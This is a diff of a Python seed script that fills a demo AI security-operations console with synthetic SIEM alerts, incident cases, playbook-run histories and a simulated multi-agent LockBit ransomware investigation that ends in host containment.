+ source: str,
+ sourcetype: str,
+ host: str,
+ user: str,
+ src_ip: str,
+ process: str | None,
+ extra: dict,
+) -> dict:
+ """Build a Splunk BOTS / SecRepo-style raw_event blob.
+
+ Fields mirror what investigators see when running `index=main host=$host`
+ queries in the BOTS public datasets — `_time`, `_indextime`, `index`,
+ `source`, `sourcetype`, plus the vendor-specific structured payload.
+ """
+ base: dict = {
+ "_time": when.timestamp(),
+ "_indextime": (when + timedelta(seconds=2)).timestamp(),
+ "_event_id": str(uuid.uuid4()),
+ "index": "main",
+ "source": source,
+ "sourcetype": sourcetype,
+ "host": host,
+ "user": user,
+ "src_ip": src_ip,
+ }
+ if process:
+ base["process"] = process
+ base.update(extra)
+ return base
+
+
+def _make_realistic_alert(
+ tenant_id: uuid.UUID,
+ incident: dict,
+ alert_spec: dict,
+ *,
+ when: datetime,
+ case_status: str,
+) -> Alert:
+ severity = alert_spec["severity"]
+ priority = {"critical": 92, "high": 78, "medium": 55, "low": 28}[severity]
+ techniques = [
+ {"id": tid, "name": _TECHNIQUE_NAMES.get(tid, tid)}
+ for tid in incident["technique_ids"]
+ ]
+ tactics = [
+ {"id": tid, "name": _TACTIC_NAMES.get(tid, tid)}
+ for tid in incident["tactic_ids"]
+ ]
+
+ raw_event = _bots_raw_event(
+ when,
+ source=alert_spec["source"],
+ sourcetype=alert_spec["sourcetype"],
+ host=incident["host"],
+ user=incident["user"],
+ src_ip=incident["src_ip"],
+ process=alert_spec.get("process"),
+ extra=alert_spec.get("extra", {}),
+ )
+
+ return Alert(
+ tenant_id=tenant_id,
+ title=alert_spec["title"],
+ description=(
+ f"{alert_spec['source']} detection. "
+ f"{incident['description']}"
+ ),
+ severity=severity,
+ status=_alert_status_for_case(case_status),
+ priority=priority,
+ category=alert_spec.get("category", "siem"),
+ mitre_tactics=tactics,
+ mitre_techniques=techniques,
+ connector_type=alert_spec["source"].lower().replace(" ", "_"),
+ ai_score=alert_spec.get("ai_score", 0.85),
+ ai_summary=(
+ f"AI assessed this {severity} alert as part of incident "
+ f"{incident['key']} ({incident['title']}). "
+ f"Primary technique: {techniques[0]['name']} ({techniques[0]['id']})."
+ ),
+ ai_recommendations=[
+ f"Investigate host {incident['host']}",
+ f"Review activity for {incident['user']}",
+ f"Open case linked to {incident['key']}",
+ ],
+ affected_ips=[incident["src_ip"]],
+ affected_hosts=[incident["host"]],
+ affected_users=[incident["user"]],
+ raw_event=raw_event,
+ tags=["realistic", incident["key"], severity, *incident["tags"]],
+ event_time=when,
+ first_seen=when,
+ last_seen=when,
+ resolved_at=when + timedelta(hours=2) if case_status in ("resolved", "closed") else None,
+ created_at=when,
+ updated_at=when,
+ )
+
+
+def _make_realistic_case(
+ tenant_id: uuid.UUID,
+ incident: dict,
+ *,
+ when: datetime,
+ alert_ids: list[uuid.UUID],
+) -> Case:
+ techniques = [
+ {"id": tid, "name": _TECHNIQUE_NAMES.get(tid, tid)}
+ for tid in incident["technique_ids"]
+ ]
+ tactics = [
+ {"id": tid, "name": _TACTIC_NAMES.get(tid, tid)}
+ for tid in incident["tactic_ids"]
+ ]
+ closed_at = when + timedelta(hours=4) if incident["status"] in ("resolved", "closed") else None
+
+ return Case(
+ tenant_id=tenant_id,
+ case_number=incident["key"],
+ title=incident["title"],
+ description=incident["description"],
+ status=incident["status"],
+ priority=incident["severity"],
+ severity=incident["severity"],
+ case_type="security_incident",
+ mitre_tactics=tactics,
+ mitre_techniques=techniques,
+ alert_ids=[str(a) for a in alert_ids],
+ tags=["realistic", incident["severity"], *incident["tags"]],
+ summary=(
+ f"Realistic-incident showcase {incident['key']}. "
+ f"host={incident['host']} user={incident['user']} src_ip={incident['src_ip']} "
+ f"techniques={','.join(incident['technique_ids'])}"
+ ),
+ created_at=when,
+ updated_at=when,
+ closed_at=closed_at,
+ )
+
+
+def _serialize_playbook_run(
+ incident: dict,
+ *,
+ case_id: uuid.UUID,
+ when: datetime,
+) -> dict:
+ """Build a serialised PlaybookRun-shaped dict for embedding in CaseTimeline.
+
+ Mirrors the structure returned by `PlaybookEngine.PlaybookRun.to_dict()`
+ in `services/agents/app/playbook/engine.py`. We keep it ORM-free because
+ PlaybookRun is an in-process object with no persistent table; embedding
+ the serialised state in `CaseTimeline.event_metadata` is the cleanest way
+ to populate "playbook history" in the demo without inventing a schema.
+ """
+ spec = incident["playbook_run"]
+ run_id = str(uuid.uuid4())
+ started_at = when - timedelta(minutes=12)
+ completed_at = when - timedelta(minutes=1) if spec["status"] == "completed" else None
+
+ step_results: list[dict] = []
+ cursor = started_at
+ for step_id, name, status, output in spec["steps"]:
+ cursor = cursor + timedelta(seconds=_rng.randint(15, 120))
+ finished = cursor + timedelta(milliseconds=output.get("duration_ms", 4_000)) if status == "completed" else None
+ step_results.append({
+ "step_id": step_id,
+ "name": name,
+ "status": status,
+ "started_at": cursor.isoformat() if status != "pending" else None,
+ "completed_at": finished.isoformat() if finished else None,
+ "output": output,
+ "attempts": 1 if status != "pending" else 0,
+ })
+ if status == "completed" and finished:
+ cursor = finished
+
+ return {
+ "run_id": run_id,
+ "playbook_id": spec["playbook_id"],
+ "playbook_name": spec["playbook_name"],
+ "case_id": str(case_id),
+ "incident_key": incident["key"],
+ "status": spec["status"],
+ "context": spec.get("context", {}),
+ "started_at": started_at.isoformat(),
+ "completed_at": completed_at.isoformat() if completed_at else None,
+ "step_results": step_results,
+ "summary": {
+ "total": len(step_results),
+ "completed": sum(1 for s in step_results if s["status"] == "completed"),
+ "running": sum(1 for s in step_results if s["status"] == "running"),
+ "pending": sum(1 for s in step_results if s["status"] == "pending"),
+ },
+ }
+
+
+async def _seed_realistic_incidents(session, tenant: Tenant) -> tuple[int, int, int]:
+ """Seed the 15 BOTS-shaped realistic incidents.
+
+ Returns ``(alerts, cases, playbook_runs)``. Idempotent: short-circuits if
+ any case with an ``INC-RT-`` prefix is already present.
+ """
+ existing = await session.execute(
+ select(Case)
+ .where(Case.tenant_id == tenant.id)
+ .where(Case.case_number.like("INC-RT-%"))
+ .limit(1)
+ )
+ if existing.scalar_one_or_none() is not None:
+ return 0, 0, 0
+
+ now = datetime.now(UTC)
+ new_alerts: list[Alert] = []
+ new_cases: list[Case] = []
+ timeline_rows: list[CaseTimeline] = []
+ playbook_run_count = 0
+
+ # Spread incidents across the last 14 days, keeping the in-flight one
+ # very recent so it shows up at the top of the queue.
+ for index, incident in enumerate(_REALISTIC_INCIDENTS):
+ is_in_flight = bool(incident.get("in_flight_investigation"))
+ offset_minutes = 8 if is_in_flight else _rng.randint(60, 60 * 24 * 13)
+ case_when = now - timedelta(minutes=offset_minutes)
+
+ # Build alerts for this incident.
+ incident_alerts: list[Alert] = []
+ for alert_offset, alert_spec in enumerate(incident["alerts"]):
+ alert_when = case_when + timedelta(minutes=alert_offset * 2 - 3)
+ alert = _make_realistic_alert(
+ tenant.id,
+ incident,
+ alert_spec,
+ when=alert_when,
+ case_status=incident["status"],
+ )
+ incident_alerts.append(alert)
+ session.add_all(incident_alerts)
+ await session.flush() # populate Alert.id for the case linkage
+ new_alerts.extend(incident_alerts)
+
+ # Build the case + link alerts.
+ case = _make_realistic_case(
+ tenant.id,
+ incident,
+ when=case_when,
+ alert_ids=[a.id for a in incident_alerts],
+ )
+ session.add(case)
+ await session.flush()
+ new_cases.append(case)
+
+ # Backfill case_id on the alerts so the join works in the console.
+ for alert in incident_alerts:
+ alert.case_id = case.id
+
+ # Always emit a "case opened" timeline entry; embed the playbook run
+ # if present.
+ timeline_rows.append(
+ CaseTimeline(
+ case_id=case.id,
+ tenant_id=case.tenant_id,
+ event_type="created",
+ content=f"Case opened from {len(incident_alerts)} correlated alert(s).",
+ event_metadata={
+ "actor": "alert-fusion",
+ "incident_key": incident["key"],
+ "alerts": [str(a.id) for a in incident_alerts],
+ },
+ is_automated=True,
+ created_at=case_when,
+ )
+ )
+
+ if "playbook_run" in incident:
+ playbook_run = _serialize_playbook_run(incident, case_id=case.id, when=case_when)
+ timeline_rows.append(
+ CaseTimeline(
+ case_id=case.id,
+ tenant_id=case.tenant_id,
+ event_type="playbook_run",
+ content=(
+ f"Playbook `{playbook_run['playbook_name']}` "
+ f"({playbook_run['summary']['completed']}/"
+ f"{playbook_run['summary']['total']} steps complete) "
+ f"— status: {playbook_run['status']}."
+ ),
+ event_metadata={
+ "actor": "playbook-engine",
+ "playbook_run": playbook_run,
+ },
+ is_automated=True,
+ created_at=case_when + timedelta(minutes=2),
+ )
+ )
+ playbook_run_count += 1
+
+ session.add_all(timeline_rows)
+ await session.flush()
+ _ = index # silence unused-loop-var lint
+ return len(new_alerts), len(new_cases), playbook_run_count
+
+
+async def _seed_in_flight_investigation(session, tenant: Tenant) -> int:
+ """Seed the in-flight ransomware investigation for INC-RT-001.
+
+ Mirrors the LangGraph investigator state machine: a Recon → Forensic →
+ Responder progression with one terminal evidence-citation event.
+ Idempotent: short-circuits if a run already exists for this case_id.
+ """
+ incident = next(
+ (i for i in _REALISTIC_INCIDENTS if i.get("in_flight_investigation")),
+ None,
+ )
+ if incident is None:
+ return 0
+
+ existing = await session.execute(
+ select(InvestigationRun)
+ .where(InvestigationRun.tenant_id == tenant.id)
+ .where(InvestigationRun.case_id == incident["key"])
+ .limit(1)
+ )
+ if existing.scalar_one_or_none() is not None:
+ return 0
+
+ started = datetime.now(UTC) - timedelta(minutes=6)
+
+ run = InvestigationRun(
+ tenant_id=tenant.id,
+ case_id=incident["key"],
+ alert_summary=incident["title"],
+ raw_alert={
+ "incident_key": incident["key"],
+ "host": incident["host"],
+ "user": incident["user"],
+ "src_ip": incident["src_ip"],
+ "techniques": incident["technique_ids"],
+ },
+ model_used="aisoc-investigator-v1",
+ status="running",
+ started_at=started,
+ )
+ session.add(run)
+ await session.flush()
+
+ # `kind` values mirror StepKind in services/agents/app/investigator/state.py.
+ events_spec: list[tuple[str, str, str, dict]] = [
+ (
+ "recon",
+ "ReconAgent",
+ "Enumerated active processes on WIN-FIN-DB01; flagged vssadmin.exe spawned by cmd.exe under SYSTEM.",
+ {
+ "tool": "edr.process_tree",
+ "host": incident["host"],
+ "anomalies": [
+ {"image": "vssadmin.exe", "parent": "cmd.exe", "user": "NT AUTHORITY\\SYSTEM"},
+ {"image": "lockbit.exe", "parent": "explorer.exe", "user": "svc-backup"},
+ ],
+ },
+ ),
+ (
+ "tool_call",
+ "ReconAgent",
+ "Pulled CrowdStrike detection details for ldt:abc123:lockbit-encrypt.",
+ {
+ "tool": "crowdstrike.detection",
+ "detect_id": "ldt:abc123:lockbit-encrypt",
+ "files_modified": 12384,
+ "extension_written": ".lockbit",
+ },
+ ),
+ (
+ "forensic",
+ "ForensicAgent",
+ "Identified ransom-note artefact `RESTORE-MY-FILES.txt` on C:\\, D:\\, E:\\; computed SHA-256.",
+ {
+ "tool": "edr.file_search",
+ "host": incident["host"],
+ "matches": [
+ {"path": "C:\\Users\\Public\\RESTORE-MY-FILES.txt", "sha256": "ab12…f9"},
+ {"path": "D:\\BACKUP\\RESTORE-MY-FILES.txt", "sha256": "ab12…f9"},
+ ],
+ },
+ ),
+ (
+ "evidence_cited",
+ "ForensicAgent",
+ "Cited Sysmon EID 1 (vssadmin) and CrowdStrike encryption-pattern detection as primary evidence.",
+ {
+ "evidence": [
+ {"source": "Sysmon", "event_id": 1, "process": "vssadmin.exe"},
+ {"source": "CrowdStrike Falcon", "detect_id": "ldt:abc123:lockbit-encrypt"},
+ ],
+ },
+ ),
+ (
+ "decision_reason",
+ "ResponderAgent",
+ (
+ "Confidence 0.96 that this is LockBit 3.0 (encryption pattern + shadow-copy "
+ "deletion + lateral SMB to FIN-DB02). Recommend immediate isolation and credential rotation."
+ ),
+ {
+ "confidence": 0.96,
+ "techniques": ["T1486", "T1490", "T1021.002"],
+ "recommended_actions": [
+ "endpoint.isolate",
+ "endpoint.kill_process:lockbit.exe",
+ "identity.rotate_credentials:svc-backup",
+ ],
+ },
+ ),
+ (
+ "responder",
+ "ResponderAgent",
+ "Triggered CrowdStrike RTR network-contain on WIN-FIN-DB01.",
+ {
+ "tool": "crowdstrike.rtr.contain",
+ "host": incident["host"],
+ "result": "contained",
+ "duration_ms": 4_120,
+ },
+ ),
+ (
+ "responder",
+ "ResponderAgent",
+ "Currently terminating `lockbit.exe` on host (process kill in flight).",
+ {
+ "tool": "endpoint.kill_process",
+ "process_name": "lockbit.exe",
+ "status": "running",
+ },
+ ),
+ ]
+
+ events: list[InvestigationEvent] = []
+ artifacts: list[InvestigationArtifact] = []
+ for seq, (kind, agent, summary, payload) in enumerate(events_spec, start=1):
+ ts = started + timedelta(seconds=seq * 18 + _rng.randint(0, 8))
+ ev = InvestigationEvent(
+ run_id=run.id,
+ tenant_id=tenant.id,
+ seq=seq,
+ ts=ts,
+ kind=kind,
+ agent=agent,
+ summary=summary,
+ payload=payload,
+ )
+ events.append(ev)
+ session.add_all(events)
+ await session.flush()
+
+ # One artifact per major finding so the timeline UI has clickable items.
+ artifact_specs = [
+ ("ioc", events[1], "ldt:abc123:lockbit-encrypt"),
+ ("file_hash", events[2], "ab12cd34ef56…f9 (RESTORE-MY-FILES.txt)"),
+ ("recommendation", events[4], "Isolate WIN-FIN-DB01 and rotate svc-backup credentials"),
+ ]
+ for kind, ev, content in artifact_specs:
+ encoded = content.encode("utf-8")
+ artifacts.append(
+ InvestigationArtifact(
+ run_id=run.id,
+ event_id=ev.id,
+ tenant_id=tenant.id,
+ kind=kind,
+ content=content,
+ sha256=hashlib.sha256(encoded).hexdigest(),
+ size_bytes=len(encoded),
+ )
+ )
+ session.add_all(artifacts)
+ await session.flush()
+
+ return 1
+
+
async def _seed_alerts_and_cases(session, tenant: Tenant, *, alert_count: int = 120) -> tuple[int, int]:
existing = await session.execute(select(Alert).where(Alert.tenant_id == tenant.id).limit(1))
if existing.scalar_one_or_none() is not None:
@@ -664,6 +2143,10 @@ async def main() -> None:
user = await _ensure_user(session, tenant)
new_connectors = await _seed_connectors(session, tenant)
new_alerts, new_cases = await _seed_alerts_and_cases(session, tenant)
+ realistic_alerts, realistic_cases, playbook_runs = await _seed_realistic_incidents(
+ session, tenant
+ )
+ in_flight_runs = await _seed_in_flight_investigation(session, tenant)
mirrored = await _mirror_cases_to_aisoc(session, tenant)
await session.commit()
except Exception:
@@ -675,6 +2158,8 @@ async def main() -> None:
print(f"[seed] connectors created: {new_connectors}")
print(f"[seed] alerts created: {new_alerts}")
print(f"[seed] cases created: {new_cases}")
+ print(f"[seed] realistic incidents — alerts: {realistic_alerts}, cases: {realistic_cases}, playbook runs: {playbook_runs}")
+ print(f"[seed] in-flight investigations: {in_flight_runs}")
print(f"[seed] cases mirrored to aisoc_cases: {mirrored}")
print("[seed] done — log into the console at http://localhost:3000")